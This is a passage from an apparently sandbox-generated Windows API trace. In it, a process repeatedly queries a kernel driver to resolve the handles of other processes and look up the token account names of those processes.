out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.740] CloseHandle (hObject=0xc8) returned 1 [0123.740] CloseHandle (hObject=0xc0) returned 1 [0123.740] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.740] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0123.741] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.741] PsAcquireProcessExitSynchronization () returned 0x0 [0123.741] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.741] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8002812200, HandleInformation=0x0) returned 0x0 [0123.741] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.741] PsReleaseProcessExitSynchronization () returned 0x2 [0123.741] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.741] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa80020f4044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa80020f4044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.741] ObfDereferenceObject (Object=0xfffffa8002812200) returned 0x1 [0123.741] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.741] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.741] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0123.741] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.741] PsAcquireProcessExitSynchronization () returned 0x0 [0123.741] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.741] ObReferenceObjectByHandle (in: Handle=0x24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80039044c0, HandleInformation=0x0) returned 0x0 [0123.741] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.741] PsReleaseProcessExitSynchronization () returned 0x2 [0123.741] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.741] ObQueryNameString (in: Object=0xfffffa80039044c0, ObjectNameInfo=0xfffffa8001a0f044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a0f044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.741] ObfDereferenceObject (Object=0xfffffa80039044c0) returned 0x1 [0123.741] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.741] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.741] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.741] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.741] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.741] PsAcquireProcessExitSynchronization () returned 0x0 [0123.741] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.742] ObReferenceObjectByHandle (in: Handle=0x78, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0123.742] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.742] PsReleaseProcessExitSynchronization () returned 0x2 [0123.742] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.742] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.742] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0123.742] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.742] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.742] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x74, lpOverlapped=0x0) returned 1 [0123.742] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.742] PsAcquireProcessExitSynchronization () returned 0x0 [0123.742] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.742] ObReferenceObjectByHandle (in: Handle=0xa4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80027f55b0, HandleInformation=0x0) returned 0x0 [0123.742] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.742] PsReleaseProcessExitSynchronization () returned 0x2 [0123.742] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.742] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.742] ObfDereferenceObject (Object=0xfffffa80027f55b0) returned 0x1 [0123.742] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.742] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.742] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.742] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0123.742] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.742] PsAcquireProcessExitSynchronization () returned 0x0 [0123.742] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.742] ObReferenceObjectByHandle (in: Handle=0xa8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a0032eb950, HandleInformation=0x0) returned 0x0 [0123.742] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.742] PsReleaseProcessExitSynchronization () returned 0x2 [0123.742] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.742] ObQueryNameString (in: Object=0xfffff8a0032eb950, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.743] ObfDereferenceObject (Object=0xfffff8a0032eb950) returned 0x1 [0123.743] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.743] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.743] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x112, lpOverlapped=0x0) returned 1 [0123.743] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.743] PsAcquireProcessExitSynchronization () returned 0x0 [0123.743] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.743] ObReferenceObjectByHandle (in: Handle=0xac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800322b8a0, HandleInformation=0x0) returned 0x0 [0123.743] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.743] PsReleaseProcessExitSynchronization () returned 0x2 [0123.743] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.743] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.743] ObfDereferenceObject (Object=0xfffffa800322b8a0) returned 0x1 [0123.743] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.743] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.743] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.743] PsLookupProcessByProcessId (in: ProcessId=0xf3c, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.743] PsAcquireProcessExitSynchronization () returned 0x0 [0123.743] KeStackAttachProcess (in: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa80038c9060, ApcState=0xfffff880044355d0) [0123.743] ObReferenceObjectByHandle (in: Handle=0xc4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffff8a001546a40, HandleInformation=0x0) returned 0x0 [0123.743] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.743] PsReleaseProcessExitSynchronization () returned 0x2 [0123.743] ObfDereferenceObject (Object=0xfffffa80038c9060) returned 0x27 [0123.743] ObQueryNameString (in: Object=0xfffff8a001546a40, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88004435550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88004435550) returned 0x0 [0123.743] ObfDereferenceObject (Object=0xfffff8a001546a40) returned 0x8 [0123.743] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.743] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.743] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf78) returned 0xc0 [0123.743] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.743] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800394e630, HandleInformation=0x0) returned 0x0 [0123.743] ObOpenObjectByPointer (in: Object=0xfffffa800394e630, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.744] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0x10 [0123.744] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.744] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.744] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.744] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.744] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.745] CloseHandle (hObject=0xc8) returned 1 [0123.745] CloseHandle (hObject=0xc0) returned 1 [0123.745] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.745] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.745] PsLookupProcessByProcessId (in: ProcessId=0xf78, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.745] PsAcquireProcessExitSynchronization () returned 0x0 [0123.745] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0) [0123.745] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80034e6320, HandleInformation=0x0) returned 0x0 [0123.745] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.745] PsReleaseProcessExitSynchronization () returned 0x2 [0123.746] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xe [0123.746] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.746] ObfDereferenceObject (Object=0xfffffa80034e6320) returned 0x1 [0123.746] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.746] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.746] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.746] PsLookupProcessByProcessId (in: ProcessId=0xf78, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.746] PsAcquireProcessExitSynchronization () returned 0x0 [0123.746] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0) [0123.746] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8003729600, HandleInformation=0x0) returned 0x0 [0123.746] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.746] PsReleaseProcessExitSynchronization () returned 0x2 [0123.746] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xe [0123.746] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.746] ObfDereferenceObject (Object=0xfffffa8003729600) returned 0x1 [0123.746] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.746] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.746] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.746] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0123.746] PsLookupProcessByProcessId (in: ProcessId=0xf78, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.746] PsAcquireProcessExitSynchronization () returned 0x0 [0123.746] KeStackAttachProcess (in: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800394e630, ApcState=0xfffff880044355d0) [0123.746] ObReferenceObjectByHandle (in: Handle=0x80, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80038c7af0, HandleInformation=0x0) returned 0x0 [0123.746] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.746] PsReleaseProcessExitSynchronization () returned 0x2 [0123.746] ObfDereferenceObject (Object=0xfffffa800394e630) returned 0xe [0123.746] ObQueryNameString (in: Object=0xfffffa8003168830, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.746] ObfDereferenceObject (Object=0xfffffa80038c7af0) returned 0x3 [0123.746] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.746] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.747] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xf80) returned 0xc0 [0123.747] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0123.747] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88004435668, HandleInformation=0x0 | out: Object=0xfffff88004435668*=0xfffffa800397fb30, HandleInformation=0x0) returned 0x0 [0123.747] ObOpenObjectByPointer (in: Object=0xfffffa800397fb30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88004435670 | out: Handle=0xfffff88004435670*=0xffffffff80000a40) returned 0x0 [0123.747] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1c [0123.747] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a40, DesiredAccess=0x8, TokenHandle=0xfffffa8002f61680 | out: TokenHandle=0xfffffa8002f61680*=0xc8) returned 0x0 [0123.747] ZwClose (Handle=0xffffffff80000a40) returned 0x0 [0123.747] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.747] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0123.747] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0123.748] CloseHandle (hObject=0xc8) returned 1 [0123.748] CloseHandle (hObject=0xc0) returned 1 [0123.748] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.748] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0123.748] PsLookupProcessByProcessId (in: ProcessId=0xf80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.748] PsAcquireProcessExitSynchronization () returned 0x0 [0123.748] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0) [0123.748] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa800325cf20, HandleInformation=0x0) returned 0x0 [0123.748] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.748] PsReleaseProcessExitSynchronization () returned 0x2 [0123.748] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0123.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.749] ObfDereferenceObject (Object=0xfffffa800325cf20) returned 0x1 [0123.749] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.749] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.749] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0123.749] PsLookupProcessByProcessId (in: ProcessId=0xf80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.749] PsAcquireProcessExitSynchronization () returned 0x0 [0123.749] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0) [0123.749] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa8001eeaf20, HandleInformation=0x0) returned 0x0 [0123.749] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.749] PsReleaseProcessExitSynchronization () returned 0x2 [0123.749] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0123.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88004435508 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88004435508) returned 0x0 [0123.749] ObfDereferenceObject (Object=0xfffffa8001eeaf20) returned 0x1 [0123.749] IofCompleteRequest (Irp=0xfffffa80024dfbc0, PriorityBoost=0) [0123.749] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x280b20 | out: hHeap=0x240000) returned 1 [0123.749] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x808) returned 0x280b20 [0123.749] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x280b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x280b20*, lpBytesReturned=0x12d450*=0x110, lpOverlapped=0x0) returned 1 [0123.749] PsLookupProcessByProcessId (in: ProcessId=0xf80, Process=0xfffff88004435558 | out: Process=0xfffff88004435558) returned 0x0 [0123.749] PsAcquireProcessExitSynchronization () returned 0x0 [0123.749] KeStackAttachProcess (in: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0 | out: PROCESS=0xfffffa800397fb30, ApcState=0xfffff880044355d0) [0123.749] ObReferenceObjectByHandle (in: Handle=0x2c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039e2b01, Object=0xfffff88004435548, HandleInformation=0x0 | out: Object=0xfffff88004435548*=0xfffffa80026af8d0, HandleInformation=0x0) returned 0x0 [0123.749] KeUnstackDetachProcess (ApcState=0xfffff880044355d0) [0123.749] PsReleaseProcessExitSynchronization () returned 0x2 [0123.749] ObfDereferenceObject (Object=0xfffffa800397fb30) returned 0x1a [0123.749] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88004435508 | out: 